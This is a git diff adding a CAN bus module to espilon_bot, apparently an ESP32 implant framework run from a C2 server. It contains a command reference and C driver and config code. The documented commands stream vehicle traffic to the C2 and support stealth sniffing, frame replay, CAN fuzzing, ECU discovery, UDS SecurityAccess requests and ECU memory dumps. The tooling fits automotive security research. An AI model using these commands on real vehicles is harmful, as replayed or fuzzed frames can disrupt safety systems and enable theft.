|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_start [bitrate] [mode]` | 0-2 | No | Init MCP2515, start bus. Mode: `normal` (default), `listen`, `loopback` |
|
||||
| `can_stop` | 0 | No | Stop bus, set MCP2515 to config mode |
|
||||
| `can_send <id_hex> <data_hex>` | 2 | No | Send a single frame. Ex: `can_send 0x7DF 0201000000000000` |
|
||||
| `can_filter_add <id_hex>` | 1 | No | Add software filter (pass only matching IDs) |
|
||||
| `can_filter_del <id_hex>` | 1 | No | Remove a software filter |
|
||||
| `can_filter_list` | 0 | No | List active software filters |
|
||||
| `can_filter_clear` | 0 | No | Clear all filters (accept everything) |
|
||||
| `can_status` | 0 | No | Show bus state, config, RX/TX counters, error counters |
|
||||
| `can_sniff [duration_s]` | 0-1 | **Yes** | Stream frames to C2 for N seconds (default: 10) |
|
||||
| `can_record [duration_s]` | 0-1 | **Yes** | Record to local ring buffer for N seconds (default: 10) |
|
||||
| `can_dump` | 0 | **Yes** | Send recorded buffer to C2 |
|
||||
| `can_replay [speed_pct]` | 0-1 | **Yes** | Replay recorded buffer. 100=real-time, 0=max speed |
|
||||
|
||||
### UDS Diagnostic Commands
|
||||
|
||||
*Requires `CONFIG_CANBUS_UDS=y` (depends on ISO-TP)*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_scan_ecu` | 0 | **Yes** | Discover ECUs: scans 0x7E0-0x7E7, 0x700-0x7DF |
|
||||
| `can_uds <tx_id> <service_hex> [data_hex]` | 2-3 | **Yes** | Raw UDS request |
|
||||
| `can_uds_session <tx_id> <type>` | 2 | No | DiagnosticSessionControl (1=default, 2=prog, 3=extended) |
|
||||
| `can_uds_read <tx_id> <did_hex>` | 2 | **Yes** | ReadDataByIdentifier |
|
||||
| `can_uds_dump <tx_id> <addr_hex> <size>` | 3 | **Yes** | ReadMemoryByAddress (streamed) |
|
||||
| `can_uds_auth <tx_id> [level]` | 1-2 | **Yes** | SecurityAccess seed request |
|
||||
|
||||
### OBD-II Commands
|
||||
|
||||
*Requires `CONFIG_CANBUS_OBD=y` (depends on ISO-TP)*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_obd <pid_hex>` | 1 | **Yes** | Query single PID, returns decoded value |
|
||||
| `can_obd_vin` | 0 | **Yes** | Read Vehicle Identification Number |
|
||||
| `can_obd_dtc` | 0 | **Yes** | Read Diagnostic Trouble Codes |
|
||||
| `can_obd_supported` | 0 | **Yes** | List supported PIDs |
|
||||
| `can_obd_monitor <pids> [interval_ms]` | 1-2 | **Yes** | Stream PIDs to C2 continuously |
|
||||
| `can_obd_monitor_stop` | 0 | No | Stop monitoring |
|
||||
|
||||
### Fuzzing Commands
|
||||
|
||||
*Requires `CONFIG_CANBUS_FUZZ=y`*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_fuzz_id [start] [end] [delay_ms]` | 0-3 | **Yes** | Iterate all CAN IDs with fixed payload |
|
||||
| `can_fuzz_data <id_hex> [seed_hex] [delay_ms]` | 1-3 | **Yes** | Mutate data bytes for fixed ID |
|
||||
| `can_fuzz_random [delay_ms] [count]` | 0-2 | **Yes** | Random ID + random data |
|
||||
| `can_fuzz_stop` | 0 | No | Stop fuzzing |
|
||||
|
||||
---
|
||||
|
||||
## Frame Format
|
||||
|
||||
Frames streamed to C2 use the format:
|
||||
|
||||
```
|
||||
CAN|<timestamp_ms>|<id_hex>|<dlc>|<data_hex>
|
||||
```
|
||||
|
||||
**Example:**
|
||||
```
|
||||
CAN|1708000123456|0x123|8|DEADBEEF01020304
|
||||
```
|
||||
|
||||
### Special Markers
|
||||
|
||||
| Marker | Meaning |
|
||||
|--------|---------|
|
||||
| `SNIFF_END` | End of sniff session |
|
||||
| `DUMP_START\|<count>` | Beginning of frame dump |
|
||||
| `DUMP_END` | End of frame dump |
|
||||
| `UDS_RSP\|<rx_id>\|<hex>` | UDS response |
|
||||
| `MEM_DUMP\|<addr>\|<size>` | Start of memory dump |
|
||||
| `MEM\|<addr>\|<hex_data>` | Memory block |
|
||||
| `MEM_DUMP_END` | End of memory dump |
|
||||
| `ECU\|<tx_id>\|<rx_id>` | Discovered ECU |
|
||||
|
||||
---
|
||||
|
||||
## C3PO Integration
|
||||
|
||||
### REST API
|
||||
|
||||
CAN frames received from agents are stored in a server-side ring buffer (10,000 frames max).
|
||||
|
||||
| Endpoint | Method | Description |
|
||||
|----------|--------|-------------|
|
||||
| `/api/can/frames` | GET | List frames. Params: `device_id`, `can_id`, `limit`, `offset` |
|
||||
| `/api/can/stats` | GET | Frame stats. Params: `device_id` |
|
||||
| `/api/can/frames/export` | GET | Download CSV. Params: `device_id` |
|
||||
|
||||
### TUI Commands
|
||||
|
||||
From the C3PO interactive TUI:
|
||||
|
||||
```
|
||||
can stats [device_id] — Frame count, unique CAN IDs
|
||||
can frames [device_id] [limit] — Display last N frames
|
||||
can clear — Clear frame store
|
||||
```
|
||||
|
||||
### Transport Integration
|
||||
|
||||
CAN frames arrive via `AGENT_DATA` messages with the `CAN|` prefix. The transport layer automatically parses and stores them in `CanStore`.
|
||||
|
||||
---
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Basic Sniffing (Listen-Only)
|
||||
|
||||
```
|
||||
> can_start 500000 listen # Start in stealth mode (no ACK on bus)
|
||||
> can_sniff 30 # Stream frames for 30 seconds
|
||||
> can_stop
|
||||
```
|
||||
|
||||
### Record and Replay
|
||||
|
||||
```
|
||||
> can_start 500000 listen
|
||||
> can_record 60 # Record for 60 seconds
|
||||
> can_stop
|
||||
|
||||
> can_start 500000 normal # Switch to normal mode for TX
|
||||
> can_replay 100 # Replay at real-time speed
|
||||
```
|
||||
|
||||
### OBD-II Vehicle Diagnostics
|
||||
|
||||
```
|
||||
> can_start 500000 # Standard automotive bitrate
|
||||
> can_obd_supported # List what the car supports
|
||||
> can_obd 0C # Engine RPM
|
||||
> can_obd 0D # Vehicle speed (km/h)
|
||||
> can_obd_vin # VIN number
|
||||
> can_obd_dtc # Read trouble codes
|
||||
> can_obd_monitor 0C,0D 500 # Stream RPM + speed every 500ms
|
||||
```
|
||||
|
||||
### UDS ECU Exploration
|
||||
|
||||
```
|
||||
> can_start 500000
|
||||
> can_scan_ecu # Find ECUs on bus
|
||||
> can_uds_session 0x7E0 3 # Extended session on ECU 0x7E0
|
||||
> can_uds_read 0x7E0 F190 # Read VIN via DID
|
||||
> can_uds_read 0x7E0 F191 # Hardware version
|
||||
> can_uds_auth 0x7E0 1 # SecurityAccess level 1
|
||||
> can_uds_dump 0x7E0 0x00000000 4096 # Dump 4KB from address 0
|
||||
```
|
||||
|
||||
### Fuzzing (Isolated Bus Only!)
|
||||
|
||||
```
|
||||
> can_start 500000
|
||||
> can_fuzz_id 0x000 0x7FF 10 # Scan all standard IDs, 10ms delay
|
||||
> can_fuzz_data 0x7E0 0000000000000000 5 # Mutate bytes on ECU ID
|
||||
> can_fuzz_stop
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### MCP2515 not detected
|
||||
|
||||
- Verify wiring (CS, MOSI, MISO, SCK)
|
||||
- Check `CANBUS_OSC_MHZ` matches the crystal on your module (8 vs 16 MHz)
|
||||
- Try `can_start 500000 loopback` — if loopback works, wiring to the bus is the issue
|
||||
|
||||
### No frames received
|
||||
|
||||
- Confirm bus speed matches the target (500k for cars, 250k for trucks)
|
||||
- Try `listen` mode first: `can_start 500000 listen`
|
||||
- Check CAN_H / CAN_L connections and termination (120 ohm)
|
||||
- Use `can_status` to check error counters — high RX errors indicate speed mismatch
|
||||
|
||||
### Bus-off state
|
||||
|
||||
- TEC exceeded 255 — the MCP2515 disconnected from the bus
|
||||
- `can_stop` then `can_start` to reset
|
||||
- Check for wiring issues or speed mismatch
|
||||
|
||||
### RX overflow
|
||||
|
||||
- Bus traffic exceeds processing speed
|
||||
- Reduce bus load or add hardware filters: `can_filter_add <id>`
|
||||
- Increase `CANBUS_RECORD_BUFFER` in menuconfig
|
||||
|
||||
### SPI communication errors
|
||||
|
||||
- Reduce `CANBUS_SPI_CLOCK_HZ` (try 8000000 or 4000000)
|
||||
- Check for long wires or loose connections
|
||||
- Ensure no other device shares the SPI bus
|
||||
319
espilon_bot/components/mod_canbus/canbus_config.c
Normal file
319
espilon_bot/components/mod_canbus/canbus_config.c
Normal file
@ -0,0 +1,319 @@
|
||||
/*
|
||||
* canbus_config.c
|
||||
* NVS-backed persistent config for CAN bus module.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "canbus_config.h"
|
||||
|
||||
#define TAG "CAN_CFG"
|
||||
#define NVS_NS "can_cfg"
|
||||
|
||||
/* NVS keys */
|
||||
#define KEY_BITRATE "bitrate"
|
||||
#define KEY_OSC_MHZ "osc_mhz"
|
||||
#define KEY_FILTERS "sw_filters"
|
||||
#define KEY_FILTER_CNT "sw_filt_cnt"
|
||||
#define KEY_ECUS "ecus"
|
||||
#define KEY_ECU_CNT "ecu_cnt"
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
|
||||
void can_config_init(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err == ESP_OK) {
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "NVS open failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Bitrate
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_bitrate(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
int32_t val = CONFIG_CANBUS_DEFAULT_BITRATE;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
|
||||
nvs_get_i32(h, KEY_BITRATE, &val);
|
||||
nvs_close(h);
|
||||
}
|
||||
return (int)val;
|
||||
}
|
||||
|
||||
esp_err_t can_config_set_bitrate(int bitrate)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_set_i32(h, KEY_BITRATE, bitrate);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Oscillator
|
||||
* ============================================================ */
|
||||
|
||||
uint8_t can_config_get_osc_mhz(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
uint8_t val = CONFIG_CANBUS_OSC_MHZ;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
|
||||
nvs_get_u8(h, KEY_OSC_MHZ, &val);
|
||||
nvs_close(h);
|
||||
}
|
||||
return val;
|
||||
}
|
||||
|
||||
esp_err_t can_config_set_osc_mhz(uint8_t mhz)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_set_u8(h, KEY_OSC_MHZ, mhz);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Software Filters (stored as blob of uint32_t array)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_filters(uint32_t *ids_out, int max_ids)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
|
||||
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
|
||||
|
||||
if (cnt > max_ids) cnt = max_ids;
|
||||
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids_out, &len);
|
||||
nvs_close(h);
|
||||
return (int)cnt;
|
||||
}
|
||||
|
||||
static esp_err_t save_filters(nvs_handle_t h, const uint32_t *ids, uint8_t cnt)
|
||||
{
|
||||
esp_err_t err = nvs_set_u8(h, KEY_FILTER_CNT, cnt);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
if (cnt > 0) {
|
||||
err = nvs_set_blob(h, KEY_FILTERS, ids, cnt * sizeof(uint32_t));
|
||||
} else {
|
||||
nvs_erase_key(h, KEY_FILTERS);
|
||||
}
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_add_filter(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids, &len);
|
||||
}
|
||||
|
||||
/* Check duplicate */
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
|
||||
}
|
||||
|
||||
if (cnt >= CAN_CFG_MAX_SW_FILTERS) {
|
||||
nvs_close(h);
|
||||
return ESP_ERR_NO_MEM;
|
||||
}
|
||||
|
||||
ids[cnt++] = id;
|
||||
err = save_filters(h, ids, cnt);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_del_filter(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids, &len);
|
||||
}
|
||||
|
||||
/* Find and remove */
|
||||
bool found = false;
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) {
|
||||
memmove(&ids[i], &ids[i + 1], (cnt - i - 1) * sizeof(uint32_t));
|
||||
cnt--;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (found) {
|
||||
err = save_filters(h, ids, cnt);
|
||||
} else {
|
||||
err = ESP_ERR_NOT_FOUND;
|
||||
}
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_clear_filters(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = save_filters(h, NULL, 0);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ECU IDs (same pattern as filters)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_ecus(uint32_t *ids_out, int max_ids)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
|
||||
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
|
||||
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
|
||||
|
||||
if (cnt > max_ids) cnt = max_ids;
|
||||
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_ECUS, ids_out, &len);
|
||||
nvs_close(h);
|
||||
return (int)cnt;
|
||||
}
|
||||
|
||||
esp_err_t can_config_add_ecu(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_ECUS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_ECUS, ids, &len);
|
||||
}
|
||||
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
|
||||
}
|
||||
|
||||
if (cnt >= CAN_CFG_MAX_ECUS) {
|
||||
nvs_close(h);
|
||||
return ESP_ERR_NO_MEM;
|
||||
}
|
||||
|
||||
ids[cnt++] = id;
|
||||
err = nvs_set_u8(h, KEY_ECU_CNT, cnt);
|
||||
if (err == ESP_OK) err = nvs_set_blob(h, KEY_ECUS, ids, cnt * sizeof(uint32_t));
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_clear_ecus(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
nvs_set_u8(h, KEY_ECU_CNT, 0);
|
||||
nvs_erase_key(h, KEY_ECUS);
|
||||
err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Reset All
|
||||
* ============================================================ */
|
||||
|
||||
esp_err_t can_config_reset_all(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_erase_all(h);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "Config reset to defaults");
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* List (for status responses)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_list(char *buf, size_t buf_len)
|
||||
{
|
||||
int off = 0;
|
||||
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"bitrate=%d\nosc_mhz=%u\n",
|
||||
can_config_get_bitrate(),
|
||||
can_config_get_osc_mhz());
|
||||
|
||||
/* Software filters */
|
||||
uint32_t fids[CAN_CFG_MAX_SW_FILTERS];
|
||||
int fcnt = can_config_get_filters(fids, CAN_CFG_MAX_SW_FILTERS);
|
||||
off += snprintf(buf + off, buf_len - off, "sw_filters=%d:", fcnt);
|
||||
for (int i = 0; i < fcnt && off < (int)buf_len - 8; i++) {
|
||||
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)fids[i]);
|
||||
}
|
||||
off += snprintf(buf + off, buf_len - off, "\n");
|
||||
|
||||
/* Discovered ECUs */
|
||||
uint32_t eids[CAN_CFG_MAX_ECUS];
|
||||
int ecnt = can_config_get_ecus(eids, CAN_CFG_MAX_ECUS);
|
||||
off += snprintf(buf + off, buf_len - off, "ecus=%d:", ecnt);
|
||||
for (int i = 0; i < ecnt && off < (int)buf_len - 8; i++) {
|
||||
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)eids[i]);
|
||||
}
|
||||
off += snprintf(buf + off, buf_len - off, "\n");
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS */
|
||||
42
espilon_bot/components/mod_canbus/canbus_config.h
Normal file
42
espilon_bot/components/mod_canbus/canbus_config.h
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* canbus_config.h
|
||||
* NVS-backed configuration for CAN bus module.
|
||||
*
|
||||
* Stores: bitrate, oscillator freq, software filters, discovered ECU IDs.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include "esp_err.h"
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define CAN_CFG_MAX_SW_FILTERS 16
|
||||
#define CAN_CFG_MAX_ECUS 16
|
||||
|
||||
/* Init NVS namespace (call once at module registration) */
|
||||
void can_config_init(void);
|
||||
|
||||
/* Bitrate (persistent) */
|
||||
int can_config_get_bitrate(void);
|
||||
esp_err_t can_config_set_bitrate(int bitrate);
|
||||
|
||||
/* Oscillator frequency in MHz (persistent) */
|
||||
uint8_t can_config_get_osc_mhz(void);
|
||||
esp_err_t can_config_set_osc_mhz(uint8_t mhz);
|
||||
|
||||
/* Software filters — app-level ID whitelist (beyond MCP2515 6 HW filters) */
|
||||
int can_config_get_filters(uint32_t *ids_out, int max_ids);
|
||||
esp_err_t can_config_add_filter(uint32_t id);
|
||||
esp_err_t can_config_del_filter(uint32_t id);
|
||||
esp_err_t can_config_clear_filters(void);
|
||||
|
||||
/* Discovered ECU IDs (for UDS, persistent across reboots) */
|
||||
int can_config_get_ecus(uint32_t *ids_out, int max_ids);
|
||||
esp_err_t can_config_add_ecu(uint32_t id);
|
||||
esp_err_t can_config_clear_ecus(void);
|
||||
|
||||
/* Reset all config to defaults */
|
||||
esp_err_t can_config_reset_all(void);
|
||||
|
||||
/* List all config as formatted string (for status response) */
|
||||
int can_config_list(char *buf, size_t buf_len);
|
||||
815
espilon_bot/components/mod_canbus/canbus_driver.c
Normal file
815
espilon_bot/components/mod_canbus/canbus_driver.c
Normal file
@ -0,0 +1,815 @@
|
||||
/*
|
||||
* canbus_driver.c
|
||||
* MCP2515 CAN 2.0B controller driver via ESP-IDF SPI master.
|
||||
*
|
||||
* Architecture:
|
||||
* GPIO ISR (INT pin, active low) → binary semaphore → RX task → callback
|
||||
* TX: direct SPI writes to TX buffer 0, poll for completion.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
|
||||
#include <string.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "driver/spi_master.h"
|
||||
#include "driver/gpio.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "canbus_driver.h"
|
||||
|
||||
#define TAG "CAN_DRV"
|
||||
|
||||
/* ============================================================
|
||||
* MCP2515 SPI Instructions
|
||||
* ============================================================ */
|
||||
#define MCP_RESET 0xC0
|
||||
#define MCP_READ 0x03
|
||||
#define MCP_WRITE 0x02
|
||||
#define MCP_BIT_MODIFY 0x05
|
||||
#define MCP_READ_STATUS 0xA0
|
||||
#define MCP_RX_STATUS 0xB0
|
||||
#define MCP_READ_RX0 0x90 /* Read RX buffer 0 starting at SIDH */
|
||||
#define MCP_READ_RX1 0x94 /* Read RX buffer 1 starting at SIDH */
|
||||
#define MCP_LOAD_TX0 0x40 /* Load TX buffer 0 starting at SIDH */
|
||||
#define MCP_RTS_TX0 0x81 /* Request-To-Send TX buffer 0 */
|
||||
|
||||
/* ============================================================
|
||||
* MCP2515 Registers
|
||||
* ============================================================ */
|
||||
#define MCP_CANCTRL 0x0F
|
||||
#define MCP_CANSTAT 0x0E
|
||||
#define MCP_CNF1 0x2A
|
||||
#define MCP_CNF2 0x29
|
||||
#define MCP_CNF3 0x28
|
||||
#define MCP_CANINTE 0x2B
|
||||
#define MCP_CANINTF 0x2C
|
||||
#define MCP_EFLG 0x2D
|
||||
#define MCP_TEC 0x1C
|
||||
#define MCP_REC 0x1D
|
||||
|
||||
/* RXB0CTRL / RXB1CTRL */
|
||||
#define MCP_RXB0CTRL 0x60
|
||||
#define MCP_RXB1CTRL 0x70
|
||||
|
||||
/* Filter/mask registers */
|
||||
#define MCP_RXF0SIDH 0x00
|
||||
#define MCP_RXF1SIDH 0x04
|
||||
#define MCP_RXF2SIDH 0x08
|
||||
#define MCP_RXF3SIDH 0x10
|
||||
#define MCP_RXF4SIDH 0x14
|
||||
#define MCP_RXF5SIDH 0x18
|
||||
#define MCP_RXM0SIDH 0x20
|
||||
#define MCP_RXM1SIDH 0x24
|
||||
|
||||
/* TXB0 registers */
|
||||
#define MCP_TXB0CTRL 0x30
|
||||
#define MCP_TXB0SIDH 0x31
|
||||
|
||||
/* CANCTRL mode bits */
|
||||
#define MCP_MODE_NORMAL 0x00
|
||||
#define MCP_MODE_LISTEN 0x60
|
||||
#define MCP_MODE_LOOPBACK 0x40
|
||||
#define MCP_MODE_CONFIG 0x80
|
||||
|
||||
/* CANINTF bits */
|
||||
#define MCP_RX0IF 0x01
|
||||
#define MCP_RX1IF 0x02
|
||||
#define MCP_TX0IF 0x04
|
||||
#define MCP_TX1IF 0x08
|
||||
#define MCP_TX2IF 0x10
|
||||
#define MCP_ERRIF 0x20
|
||||
#define MCP_WAKIF 0x40
|
||||
#define MCP_MERRF 0x80
|
||||
|
||||
/* CANINTE bits */
|
||||
#define MCP_RX0IE 0x01
|
||||
#define MCP_RX1IE 0x02
|
||||
#define MCP_ERRIE 0x20
|
||||
|
||||
/* EFLG bits */
|
||||
#define MCP_EFLG_RX0OVR 0x40
|
||||
#define MCP_EFLG_RX1OVR 0x80
|
||||
#define MCP_EFLG_TXBO 0x20
|
||||
#define MCP_EFLG_RXEP 0x10
|
||||
#define MCP_EFLG_TXEP 0x08
|
||||
|
||||
/* ============================================================
|
||||
* Bit Timing Tables
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
int bitrate;
|
||||
uint8_t cnf1, cnf2, cnf3;
|
||||
} can_timing_t;
|
||||
|
||||
/* 16 MHz oscillator — TQ = 2/Fosc = 125ns */
|
||||
static const can_timing_t s_timing_16mhz[] = {
|
||||
{ 1000000, 0x00, 0xCA, 0x01 }, /* 1 Mbps: SJW=1, BRP=0, 8 TQ */
|
||||
{ 500000, 0x00, 0xF0, 0x86 }, /* 500 kbps: SJW=1, BRP=0, 16 TQ */
|
||||
{ 250000, 0x01, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=1, 16 TQ */
|
||||
{ 125000, 0x03, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=3, 16 TQ */
|
||||
{ 100000, 0x04, 0xF0, 0x86 }, /* 100 kbps: SJW=1, BRP=4, 16 TQ */
|
||||
{ 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
/* 8 MHz oscillator — TQ = 2/Fosc = 250ns */
|
||||
static const can_timing_t s_timing_8mhz[] = {
|
||||
{ 500000, 0x00, 0x90, 0x02 }, /* 500 kbps: SJW=1, BRP=0, 8 TQ */
|
||||
{ 250000, 0x00, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=0, 16 TQ */
|
||||
{ 125000, 0x01, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=1, 16 TQ */
|
||||
{ 100000, 0x03, 0xAC, 0x03 }, /* 100 kbps: SJW=1, BRP=3, 10 TQ */
|
||||
{ 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Driver State
|
||||
* ============================================================ */
|
||||
static spi_device_handle_t s_spi = NULL;
|
||||
static TaskHandle_t s_rx_task = NULL;
|
||||
static SemaphoreHandle_t s_int_sem = NULL;
|
||||
static SemaphoreHandle_t s_tx_mutex = NULL;
|
||||
static volatile bool s_running = false;
|
||||
|
||||
static can_rx_callback_t s_rx_cb = NULL;
|
||||
static void *s_rx_ctx = NULL;
|
||||
|
||||
/* Counters */
|
||||
static uint32_t s_rx_count = 0;
|
||||
static uint32_t s_tx_count = 0;
|
||||
static uint32_t s_bus_errors = 0;
|
||||
static uint32_t s_rx_overflow = 0;
|
||||
static bool s_bus_off = false;
|
||||
static bool s_err_passive = false;
|
||||
|
||||
/* ============================================================
|
||||
* SPI Low-Level Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static uint8_t mcp_read_reg(uint8_t addr)
|
||||
{
|
||||
uint8_t tx[3] = { MCP_READ, addr, 0x00 };
|
||||
uint8_t rx[3] = { 0 };
|
||||
spi_transaction_t t = {
|
||||
.length = 24,
|
||||
.tx_buffer = tx,
|
||||
.rx_buffer = rx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
return rx[2];
|
||||
}
|
||||
|
||||
static void mcp_write_reg(uint8_t addr, uint8_t val)
|
||||
{
|
||||
uint8_t tx[3] = { MCP_WRITE, addr, val };
|
||||
spi_transaction_t t = {
|
||||
.length = 24,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
}
|
||||
|
||||
static void mcp_modify_reg(uint8_t addr, uint8_t mask, uint8_t val)
|
||||
{
|
||||
uint8_t tx[4] = { MCP_BIT_MODIFY, addr, mask, val };
|
||||
spi_transaction_t t = {
|
||||
.length = 32,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
}
|
||||
|
||||
static void mcp_reset(void)
|
||||
{
|
||||
uint8_t tx[1] = { MCP_RESET };
|
||||
spi_transaction_t t = {
|
||||
.length = 8,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
vTaskDelay(pdMS_TO_TICKS(10)); /* MCP2515 needs time after reset */
|
||||
}
|
||||
|
||||
static void mcp_set_mode(uint8_t mode)
|
||||
{
|
||||
